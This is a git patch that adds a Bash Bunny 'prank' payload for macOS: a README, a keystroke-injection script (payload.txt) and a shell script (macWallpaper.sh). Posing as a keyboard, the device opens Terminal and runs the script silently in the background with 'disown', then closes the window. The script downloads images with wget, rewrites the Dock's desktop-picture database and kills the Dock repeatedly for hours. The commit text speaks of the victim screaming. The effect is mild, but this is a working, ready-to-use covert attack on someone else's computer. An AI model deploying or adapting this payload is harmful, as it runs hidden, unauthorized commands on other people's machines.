From 761dd0e433ca892b85a3b88ac3a6d6385e7490a3 Mon Sep 17 00:00:00 2001 From: jafahulo Date: Mon, 14 Aug 2017 19:59:04 -0500 Subject: [PATCH] Add macDesktop prank (#236) * Add macDesktop prank Runs a script in background that will download pictures of my little pony (or whatever else you'd like, just change the urls to the pictures) and randomly sets that as their desktop background every 45 minutes - 5 hours. You can change number in for loop to decide how many times it will change their background. https://forums.hak5.org/topic/41605-payload-macwallpaper/ * Update readme * Save process Id as file name to /tmp Save process Id as file name to /tmp so that you can easily kill the prank if someone is screaming at you. --- payloads/library/prank/macDesktop/README.md | 22 +++++++++++ .../library/prank/macDesktop/macWallpaper.sh | 37 +++++++++++++++++++ payloads/library/prank/macDesktop/payload.txt | 22 +++++++++++ 3 files changed, 81 insertions(+) create mode 100644 payloads/library/prank/macDesktop/README.md create mode 100755 payloads/library/prank/macDesktop/macWallpaper.sh create mode 100755 payloads/library/prank/macDesktop/payload.txt diff --git a/payloads/library/prank/macDesktop/README.md b/payloads/library/prank/macDesktop/README.md new file mode 100644 index 00000000..6bfcb8d7 --- /dev/null +++ b/payloads/library/prank/macDesktop/README.md @@ -0,0 +1,22 @@ +## macWallpaper by Jafahulo + +* Author: Jafahulo +* Version: Version 1.0 +* Target: OSX + +## Description +Runs a script in background that will download pictures of my +little pony (or whatever else you'd like) and randomly sets that +as their desktop background every 45 minutes - 5 hours. change +number in for loop to decide how many times it will change their +background. + +## Configuration + +None + +## Status +too fast to really be useful + +## Discussion +https://forums.hak5.org/topic/41605-payload-macwallpaper/ diff --git a/payloads/library/prank/macDesktop/macWallpaper.sh b/payloads/library/prank/macDesktop/macWallpaper.sh new file mode 100755 index 00000000..bc858985 --- /dev/null +++ b/payloads/library/prank/macDesktop/macWallpaper.sh @@ -0,0 +1,37 @@ +pid=$$ +touch /tmp/$pid +for (( i=0; i < 5; ++i )) +do + if [ ! -e /tmp/1.jpg ]; then + wget "http://www.hdwallpapers.in/walls/my_little_pony_the_movie_4k-wide.jpg" -O "/tmp/1.jpg"; + fi + + if [ ! -e /tmp/2.jpg ]; then + wget "http://wallpapersafari.com/download/rzbCmJ/" -O "/tmp/2.jpg"; + fi + + if [ ! -e /tmp/3.jpg ]; then + wget "https://images3.alphacoders.com/152/152507.jpg" -O "/tmp/3.jpg"; + fi + + if [ ! -e /tmp/4.jpg ]; then + wget "https://images3.alphacoders.com/152/152475.jpg" -O "/tmp/4.jpg"; + fi + + if [ ! -e /tmp/5.jpg ]; then + wget "http://fanaru.com/my-little-pony-friendship-is-magic/image/56392-my-little-pony-friendship-is-magic-rarity-lineart.png" -O "/tmp/5.jpg"; + fi + + let number="$RANDOM % 5 + 1 | bc" + + echo $number + + sqlite3 ~/Library/Application\ Support/Dock/desktoppicture.db "update data set value = '/tmp/$number.jpg'"; + + killall Dock + let time="$RANDOM % 18000 + 2700 | bc" + echo $time + sleep $time +done + +rm /tmp/1.jpg /tmp/2.jpg /tmp/3.jpg /tmp/4.jpg /tmp/5.jpg /tmp/$pid diff --git a/payloads/library/prank/macDesktop/payload.txt b/payloads/library/prank/macDesktop/payload.txt new file mode 100755 index 00000000..c07c0bce --- /dev/null +++ b/payloads/library/prank/macDesktop/payload.txt @@ -0,0 +1,22 @@ +ATTACKMODE HID STORAGE 0xF000/0xFF02 + +LED ATTACK + +Q GUI SPACE +Q DELAY 200 +Q STRING terminal +Q DELAY 100 +Q ENTER +Q DELAY 1000 +Q GUI n +Q DELAY 1000 + +Q STRING bash \<\(cat \/Volumes\/BashBunny\/payloads\/switch1\/macWallpaper.sh\) \>\/dev\/null 2\>\&1 \& disown + +Q ENTER + +Q GUI W + +Q ENTER + +LED FINISH